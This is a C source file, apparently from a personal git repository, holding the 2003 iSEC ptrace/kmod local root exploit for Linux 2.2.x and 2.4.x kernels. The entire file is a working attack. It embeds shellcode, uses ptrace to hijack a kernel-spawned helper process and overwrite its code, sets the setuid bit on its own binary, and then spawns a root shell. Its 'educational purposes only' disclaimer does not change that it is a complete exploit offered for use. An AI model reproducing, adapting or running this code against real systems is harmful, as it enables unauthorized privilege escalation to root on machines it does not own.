nicer formatting
[tridge/junkcode.git] / ptrace_exploit.c
1 /*
2  * Linux kernel ptrace/kmod local root exploit
3  *
4  *
5  *
6  * Should work under all current 2.2.x and 2.4.x kernels.
7  *
8  * I discovered this stupid bug independently on January 25, 2003, that
9  * is (almost) two month before it was fixed and published by Red Hat
10  * and others.
11  *
12  * Wojciech Purczynski <cliph@isec.pl>
13  *
14  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
15  * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
16  *
17  * (c) 2003 Copyright by iSEC Security Research
18  */
19
20 #include <grp.h>
21 #include <stdio.h>
22 #include <fcntl.h>
23 #include <errno.h>
24 #include <paths.h>
25 #include <string.h>
26 #include <stdlib.h>
27 #include <signal.h>
28 #include <unistd.h>
29 #include <sys/wait.h>
30 #include <sys/stat.h>
31 #include <sys/param.h>
32 #include <sys/types.h>
33 #include <sys/ptrace.h>
34 #include <sys/socket.h>
35 #include <linux/user.h>
36
37 char cliphcode[] =
38  "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
39  "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
40  "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
41  "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
42  "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
43
44 #define CODE_SIZE (sizeof(cliphcode) - 1)
45
46 pid_t parent = 1;
47 pid_t child = 1;
48 pid_t victim = 1;
49 volatile int gotchild = 0;
50
51 void fatal(char * msg)
52 {
53  perror(msg);
54  kill(parent, SIGKILL);
55  kill(child, SIGKILL);
56  kill(victim, SIGKILL);
57 }
58
59 void putcode(unsigned long * dst)
60 {
61  char buf[MAXPATHLEN + CODE_SIZE];
62  unsigned long * src;
63  int i, len;
64
65  memcpy(buf, cliphcode, CODE_SIZE);
66  len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
67  if (len == -1)
68   fatal("[-] Unable to read /proc/self/exe");
69
70  len += CODE_SIZE + 1;
71  buf[len] = '\0';
72  
73  src = (unsigned long*) buf;
74  for (i = 0; i < len; i += 4)
75   if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
76    fatal("[-] Unable to write shellcode");
77 }
78
79 void sigchld(int signo)
80 {
81  struct user_regs_struct regs;
82
83  if (gotchild++ == 0)
84   return;
85  
86  fprintf(stderr, "[+] Signal caught\n");
87
88  if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
89   fatal("[-] Unable to read registers");
90  
91  fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
92  
93  putcode((unsigned long *)regs.eip);
94
95  fprintf(stderr, "[+] Now wait for suid shell...\n");
96
97  if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
98   fatal("[-] Unable to detach from victim");
99
100  exit(0);
101 }
102
103 void sigalrm(int signo)
104 {
105  errno = ECANCELED;
106  fatal("[-] Fatal error");
107 }
108
109 void do_child(void)
110 {
111  int err;
112
113  child = getpid();
114  victim = child + 1;
115
116  signal(SIGCHLD, sigchld);
117
118  do
119   err = ptrace(PTRACE_ATTACH, victim, 0, 0);
120  while (err == -1 && errno == ESRCH);
121
122  if (err == -1)
123   fatal("[-] Unable to attach");
124
125  fprintf(stderr, "[+] Attached to %d\n", victim);
126  while (!gotchild) ;
127  if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
128   fatal("[-] Unable to setup syscall trace");
129  fprintf(stderr, "[+] Waiting for signal\n");
130
131  for(;;);
132 }
133
134 void do_parent(char * progname)
135 {
136  struct stat st;
137  int err;
138  errno = 0;
139  socket(AF_SECURITY, SOCK_STREAM, 1);
140  do {
141   err = stat(progname, &st);
142  } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
143  
144  if (err == -1)
145   fatal("[-] Unable to stat myself");
146
147  alarm(0);
148  system(progname);
149 }
150
151 void prepare(void)
152 {
153  if (geteuid() == 0) {
154   initgroups("root", 0);
155   setgid(0);
156   setuid(0);
157   execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
158   fatal("[-] Unable to spawn shell");
159  }
160 }
161
162 int main(int argc, char ** argv)
163 {
164  prepare();
165  signal(SIGALRM, sigalrm);
166  alarm(10);
167  
168  parent = getpid();
169  child = fork();
170  victim = child + 1;
171  
172  if (child == -1)
173   fatal("[-] Unable to fork");
174
175  if (child == 0)
176   do_child();
177  else
178   do_parent(argv[0]);
179
180  return 0;
181 }
182